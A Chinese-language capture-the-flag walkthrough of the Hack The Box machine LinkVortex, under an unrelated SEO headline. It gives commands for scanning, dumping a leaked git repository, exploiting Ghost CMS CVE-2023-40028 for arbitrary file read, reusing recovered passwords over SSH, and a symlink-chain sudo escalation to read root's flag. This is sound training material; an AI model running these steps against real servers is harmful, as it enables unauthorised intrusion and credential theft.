做地方門戶網(wǎng)站如何做可靠的網(wǎng)站優(yōu)化
目錄
連接至HTB服務(wù)器并啟動(dòng)靶機(jī)
信息收集
使用rustscan對(duì)靶機(jī)TCP端口進(jìn)行開放掃描
使用nmap對(duì)靶機(jī)TCP開放端口進(jìn)行腳本、服務(wù)掃描
使用nmap對(duì)靶機(jī)TCP開放端口進(jìn)行漏洞、系統(tǒng)掃描
使用nmap對(duì)靶機(jī)常用UDP端口進(jìn)行開放掃描
使用gobuster對(duì)靶機(jī)進(jìn)行路徑FUZZ
使用ffuf堆靶機(jī)進(jìn)行子域名FUZZ
邊界突破
訪問靶機(jī)/robots.txt文件
使用wappalyzer查看該頁面技術(shù)棧
檢索該CMS的CVE漏洞
使用gobuster對(duì)靶機(jī)dev子域名進(jìn)行路徑FUZZ
使用githack講泄露文件轉(zhuǎn)儲(chǔ)至本地
檢索該文件內(nèi)容
嘗試構(gòu)造賬戶登錄WebAPP
在Github中隨便找一個(gè)PoC
執(zhí)行該腳本嘗試讀取靶機(jī)內(nèi)部文件
使用ssh通過上述憑證登錄靶機(jī)
權(quán)限提升
查看可sudo執(zhí)行的文件
查看/opt/ghost/clean_symlink.sh文件內(nèi)容
連接至HTB服務(wù)器并啟動(dòng)靶機(jī)
分配IP:10.10.16.22
靶機(jī)IP:10.10.11.47
靶機(jī)Domain:linkvortex.htb
信息收集
使用rustscan對(duì)靶機(jī)TCP端口進(jìn)行開放掃描
rustscan -a linkvortex.htb -r 1-65535 --ulimit 5000 | tee res
使用nmap對(duì)靶機(jī)TCP開放端口進(jìn)行腳本、服務(wù)掃描
nmap -p22,80 -sCV -Pn linkvortex.htb
使用nmap對(duì)靶機(jī)TCP開放端口進(jìn)行漏洞、系統(tǒng)掃描
nmap -p22,80 --script=vuln -O -Pn linkvortex.htb
使用nmap對(duì)靶機(jī)常用UDP端口進(jìn)行開放掃描
nmap -sU --top-ports 20 -Pn linkvortex.htb
使用gobuster對(duì)靶機(jī)進(jìn)行路徑FUZZ
gobuster dir -u http://linkvortex.htb -w ../dictionary/Entire-Dir.txt -t 100 -x txt,php,asp,aspx,jsp --exclude-length 0
使用ffuf堆靶機(jī)進(jìn)行子域名FUZZ
ffuf -u 'http://linkvortex.htb' -H 'Host: FUZZ.linkvortex.htb' -w ../dictionary/subdomains-top20000.txt -t 50 -fw 14
邊界突破
訪問靶機(jī)/robots.txt文件
- 可見/ghost路徑不允許爬取,嘗試訪問該路徑
使用wappalyzer查看該頁面技術(shù)棧
- 由展示可見,該頁面使用WebAPP為:Ghost CMS 5.58
檢索該CMS的CVE漏洞
- 原介紹
Ghost is an open source content management system. Versions prior to 5.59.1 are subject to a vulnerability which allows authenticated users to upload files that are symlinks. This can be exploited to perform an arbitrary file read of any file on the host operating system. Site administrators can check for exploitation of this issue by looking for unknown symlinks within Ghost's `content/` folder. Version 5.59.1 contains a fix for this issue. All users are advised to upgrade. There are no known workarounds for this vulnerability.
- 機(jī)翻后
Ghost是一個(gè)開源的內(nèi)容管理系統(tǒng)。5.59.1之前的版本存在一個(gè)漏洞,允許經(jīng)過身份驗(yàn)證的用戶上傳符號(hào)鏈接文件。攻擊者可利用此漏洞讀取主機(jī)操作系統(tǒng)上的任意文件。網(wǎng)站管理員可以通過檢查 Ghost 的 `content/` 文件夾中是否存在未知的符號(hào)鏈接來檢測(cè)是否遭受此漏洞的攻擊。5.59.1版本已修復(fù)此問題。建議所有用戶進(jìn)行升級(jí)。目前尚無已知的臨時(shí)解決方案來應(yīng)對(duì)此漏洞。
- 因此,CVE-2023-40028漏洞適用于獲取WebAPP憑證后讀取靶機(jī)內(nèi)部文件
使用gobuster對(duì)靶機(jī)dev子域名進(jìn)行路徑FUZZ
- 由輸出可見,該子域名存在git泄露
使用githack講泄露文件轉(zhuǎn)儲(chǔ)至本地
python githack.py http://dev.linkvortex.htb/.git/
- 在/dev.linkvortex.htb路徑下找到Dockerfile.ghost文件
cat Dockerfile.ghost
- 由輸出可見,config配置文件被拷貝到/var/lib/ghost/config.production.json
- 在/dev.linkvortex.htb/ghost/core/test/regression/api/admin路徑下找到authentication.test.js文件
檢索該文件內(nèi)容
grep -C1 -i password authentication.test.js
- 可見測(cè)試賬號(hào)疑似默認(rèn)密碼:OctopiFociPilfer45
嘗試構(gòu)造賬戶登錄WebAPP
賬戶:admin@linkvortex.htb
密碼:OctopiFociPilfer45
- 成功登入后臺(tái),驗(yàn)證了該憑證可用
在Github中隨便找一個(gè)PoC
git clone https://github.com/0xyassine/CVE-2023-40028.git
- 該腳本需要對(duì)GHOST_URL參數(shù)進(jìn)行修改
執(zhí)行該腳本嘗試讀取靶機(jī)內(nèi)部文件
./CVE-2023-40028.sh -u 'admin@linkvortex.htb' -p 'OctopiFociPilfer45'
- 嘗試讀取/var/lib/ghost/config.production.json文件
file> /var/lib/ghost/config.production.json
{"url": "http://localhost:2368","server": {"port": 2368,"host": "::"},"mail": {"transport": "Direct"},"logging": {"transports": ["stdout"]},"process": "systemd","paths": {"contentPath": "/var/lib/ghost/content"},"spam": {"user_login": {"minWait": 1,"maxWait": 604800000,"freeRetries": 5000}},"mail": {"transport": "SMTP","options": {"service": "Google","host": "linkvortex.htb","port": 587,"auth": {"user": "bob@linkvortex.htb","pass": "fibber-talented-worth"}}}
}
- 由該配置文件可得一憑證?
賬戶:bob@linkvortex.htb
密碼:fibber-talented-worth
使用ssh通過上述憑證登錄靶機(jī)
ssh bob@linkvortex.htb
- 在/home/bob目錄下找到user.txt文件
bob@linkvortex:~$ ls
1.png? 111.txt? user.txt? whatever
bob@linkvortex:~$ pwd
/home/bob
bob@linkvortex:~$ cat user.txt
e1e7c05b37455f93a36670923855ab32
權(quán)限提升
查看可sudo執(zhí)行的文件
sudo -l
查看/opt/ghost/clean_symlink.sh文件內(nèi)容
cat /opt/ghost/clean_symlink.sh
#!/bin/bashQUAR_DIR="/var/quarantined"if [ -z $CHECK_CONTENT ];thenCHECK_CONTENT=false
fiLINK=$1if ! [[ "$LINK" =~ \.png$ ]]; then/usr/bin/echo "! First argument must be a png file !"exit 2
fiif /usr/bin/sudo /usr/bin/test -L $LINK;thenLINK_NAME=$(/usr/bin/basename $LINK)LINK_TARGET=$(/usr/bin/readlink $LINK)if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"/usr/bin/unlink $LINKelse/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"/usr/bin/mv $LINK $QUAR_DIR/if $CHECK_CONTENT;then/usr/bin/echo "Content:"/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/nullfifi
fi
- 用大模型直接一鍵加上注釋
- 該腳本將檢查環(huán)境變量CHECK_CONTENT是否為空,如為空為其賦值false
- 該腳本僅能接收.png結(jié)尾的文件
- 該腳本將檢查該參數(shù)是否為軟鏈接
- 該腳本將檢查軟鏈接內(nèi)容是否存在`etc`、`root`關(guān)鍵字如有將把該軟鏈接文件隔離
- 該腳本將檢查CHECK_CONTENT的值是否為true,如為真則輸出文件內(nèi)容
因此我的繞過思路是:
1.構(gòu)造一個(gè).png軟鏈接連接至一個(gè)不帶`etc`、`root`關(guān)鍵字的軟鏈接
2.再將該軟鏈接再次連接至/root/root.txt文件
3.將環(huán)境變量CHECK_CONTENT改為true,繞過第一次判斷并在最后使腳本輸出文件內(nèi)容
- 首先創(chuàng)建一個(gè)軟鏈接連接至/root/root.txt文件
ln -s /root/root.txt final_read
- 再創(chuàng)建一個(gè)以.png結(jié)尾的軟鏈接連接至上一個(gè)軟鏈接
ln -s final_read start_point.png
- 這里注意所有軟鏈接以及文件必須用絕對(duì)路徑
bob@linkvortex:~$ ln -s /root/root.txt /home/bob/final_read
bob@linkvortex:~$ ln -s /home/bob/final_read /home/bob/start_point.png
bob@linkvortex:~$ ls
final_read? start_point.png? user.txt
bob@linkvortex:~$ sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh start_point.png
Link found [ start_point.png ] , moving it to quarantine
Content:
62bce49de7c405a3273a8f67bdca50d6